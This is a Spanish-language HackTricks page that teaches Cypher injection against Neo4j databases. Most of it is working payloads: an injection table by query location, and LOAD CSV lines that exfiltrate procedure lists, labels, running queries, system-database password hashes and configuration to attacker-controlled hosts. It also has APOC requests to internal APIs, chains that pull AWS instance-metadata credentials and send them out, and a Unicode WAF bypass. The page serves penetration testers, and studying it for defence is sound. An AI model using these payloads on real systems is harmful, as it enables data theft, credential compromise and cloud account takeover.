17 KiB
Inyección de Cypher (neo4j)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Inyecciones comunes de Cypher
Las declaraciones MATCH y WHERE son escenarios comunes.
Cuando hemos encontrado una inyección, la forma de explotarla depende de la ubicación dentro de la consulta. A continuación se muestra una tabla de diferentes ubicaciones de inyección y ejemplos de explotación:
Consulta inyectable | Inyección |
---|---|
MATCH (o) WHERE o.Id='{input}' |
' OR 1=1 WITH 0 as _l00 {…} RETURN 1 // |
|
'=' {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:{input} |
a {…} WITH 0 as _l00 RETURN 1 // |
MATCH (o) WHERE o:`{input}` |
a` {...} WITH 0 as _l00 RETURN 1 // |
MATCH (o {id:'{input}'}) |
'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 // |
MATCH (o:{input}) |
a) RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o:`{input}`) |
a`) RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r {id:'{input}'})]-(o2) |
'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1// |
MATCH (o)-[r:{input}]-(o2) |
a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
MATCH (o)-[r:`{input}`]-(o2) |
a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 // |
Ten en cuenta la declaración UNION:
- La razón por la que se requiere UNION es que si la declaración MATCH no devuelve nada, el resto de la consulta no se ejecutará. Por lo tanto, todas las cosas maliciosas que podríamos hacer allí simplemente no se ejecutarán.
- Agregamos "RETURN 1" antes de UNION para que ambas partes devuelvan las mismas columnas, lo que es necesario para que se ejecute la consulta.
Entonces, ¿qué pasa con la declaración "WITH"?
Usando WITH, podemos eliminar todas las variables existentes. Esto es importante cuando no sabemos cuál es la consulta (más sobre eso más adelante). Si nuestra carga útil intenta establecer una variable que ya existe por accidente, la consulta no se ejecutará.
Naturalmente, si conocemos la consulta y la base de datos, ninguna de estas técnicas es necesaria. Incluso podemos manipular los datos devueltos para manipular el proceso en lugar de simplemente abusar del servidor.
Exfiltración HTTP
Es posible utilizar el siguiente método para exfiltrar información al dominio controlado por el atacante:
LOAD CSV FROM 'https://attacker.com/'
Por ejemplo
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
APOC
Lo primero que un atacante debe verificar es si APOC está instalado. APOC (procedimientos impresionantes en Cypher) es un plugin extremadamente popular, oficialmente soportado por Neo4j que mejora en gran medida sus capacidades. APOC agrega muchas funciones y procedimientos adicionales que los desarrolladores pueden usar en su entorno. Los atacantes pueden usar los diversos procedimientos y funciones que ofrece APOC para llevar a cabo ataques más avanzados.
Procedimientos para procesar datos y enviar solicitudes HTTP
apoc.convert.toJson
— convierte nodos, mapas y más a JSONapoc.text.base64Encode
— obtiene una cadena y la codifica en base64
Es posible establecer encabezados y enviar otros métodos que no sean GET. Ejemplos:
{% code overflow="wrap" %}
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
{% endcode %}
Procedimientos para evaluar consultas
apoc.cypher.runFirstColumnMany
- una función que devuelve los valores de la primera columna como una listaapoc.cypher.runFirstColumnSingle
- una función que devuelve el primer valor de la primera columnaapoc.cypher.run
- un procedimiento que ejecuta una consulta y devuelve los resultados como un mapaapoc.cypher.runMany
- un procedimiento que ejecuta una consulta o varias consultas separadas por un punto y coma y devuelve los resultados como un mapa. Las consultas se ejecutan en una transacción diferente.
Extrayendo información
Versión del servidor
Una forma de obtener la versión del servidor es utilizar el procedimiento dbms.components()
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
{% endcode %}
Obtener la consulta en ejecución
La forma más sencilla es utilizar el procedimiento dmbs.listQueries()
.
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
{% endcode %}
En Neo4j 5 se eliminó dbms.listQueries
. En su lugar, podemos usar "SHOW TRANSACTIONS". Hay dos limitaciones importantes: las consultas SHOW no son inyectables y, a diferencia de listQueries
, solo podemos ver la consulta actualmente ejecutada en la transacción y no todas ellas.
Si se instala el núcleo de APOC, podemos usarlo para ejecutar SHOW TRANSACTIONS. Si lo ejecutamos en la misma transacción, solo se devolverán SHOW TRANSACTIONS en lugar de la consulta que estamos intentando ver. Podemos usar apoc.cypher.runMany
para ejecutar SHOW TRANSACTIONS, porque a diferencia de otras funciones y procedimientos de apoc.cypher, se ejecuta en una transacción diferente.
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
{% endcode %}
Obtener etiquetas
Usando el método integrado db.labels
, es posible listar todas las etiquetas existentes.
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
{% endcode %}
Obtener propiedades de una clave
La función integrada keys
se puede utilizar para listar las claves de las propiedades (Esto no funcionará si uno de los campos es una lista o un mapa).
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
{% endcode %}
Si APOC está disponible, hay una mejor manera de hacerlo usando apoc.convert.toJson
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
Obtener funciones y procedimientos
Utilizando los procedimientos integrados dbms.functions()
y dbms.procedures()
es posible listar todas las funciones y procedimientos.
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% endcode %}
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
{% endcode %}
Estos procedimientos fueron eliminados en Neo4j 5. En su lugar, podemos usar SHOW PROCEDURES
y SHOW FUNCTIONS
. Las consultas SHOW no pueden ser inyectadas.
Si se ha instalado APOC core, podemos usar cualquiera de los procedimientos o funciones que ejecutan consultas para listar funciones y procedimientos.
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
Obtener la base de datos del sistema
La base de datos del sistema es una base de datos especial de Neo4j que normalmente no se puede consultar. Contiene datos interesantes almacenados como nodos:
- Bases de datos
- Roles
- Usuarios (¡incluyendo el hash de la contraseña!)
Usando APOC, es posible recuperar los nodos, incluyendo los hashes. Solo los administradores pueden hacer esto, pero en la edición gratuita de Neo4j, solo hay un usuario administrador y no hay otros usuarios, por lo que no es raro encontrarse ejecutando como administrador.
Use el procedimiento apoc.systemdb.graph()
para recuperar los datos.
{% code overflow="wrap" %}
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
{% endcode %}
Neo4j utiliza SimpleHash de Apache Shiro para generar el hash.
El resultado se almacena como una cadena de valores separados por comas:
- Algoritmo de hash
- Hash
- Sal
- Iteraciones
Por ejemplo:
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
Obtener variables de entorno
Usando APOC, es posible recuperar la variable de entorno utilizando el procedimiento apoc.config.map()
o apoc.config.list()
.
Estos procedimientos solo se pueden utilizar si se incluyen en la lista de procedimientos no restringidos en el archivo de configuración (dbms.security.procedures.unrestricted). Esto es más común de lo que se piensa, y al buscar el nombre de la configuración en Google, se obtienen muchos sitios y guías que aconsejan agregar el valor "apoc.*", lo que permite todos los procedimientos de APOC.
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
Nota: en Neo4j5 los procedimientos se movieron a APOC extendido.
Punto de conexión de metadatos de la nube AWS
IMDSv1
{% code overflow="wrap" %}
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
IMDSv2
Es necesario especificar encabezados y utilizar métodos distintos a GET.
LOAD CSV
no puede hacer ninguna de estas cosas, pero podemos usar apoc.load.csvParams
para obtener el token y el rol, y luego apoc.load.jsonParams
para obtener las credenciales en sí. La razón por la que usamos csvParams es que la respuesta no es un JSON válido.
{% endcode %}
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
{% endcode %}
Contactar directamente con la API de AWS
{% code overflow="wrap" %}
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
{% endcode %}
- $data está formateado como %Y%m%dT%H%M%SZ
- $token es el token que obtenemos del servidor de metadatos
- $signed_token se calcula de acuerdo a https://docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html
Bypass de WAF
Inyección Unicode
En Neo4j >= v4.2.0, a menudo es posible inyectar Unicode usando "\uXXXX". Por ejemplo, puedes usar este método si el servidor intenta eliminar caracteres como: ‘, ", ` y así sucesivamente.
Esto puede no funcionar si una letra sigue a la secuencia de escape Unicode. Es seguro agregar un espacio después o otra notación Unicode.
Por ejemplo, si el servidor elimina comillas simples, y la consulta se ve así:
MATCH (a: {name: '$INPUT'}) RETURN a
Es posible realizar una inyección de:
{% code overflow="wrap" %}
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
{% endcode %}
Referencias
- https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits
- https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.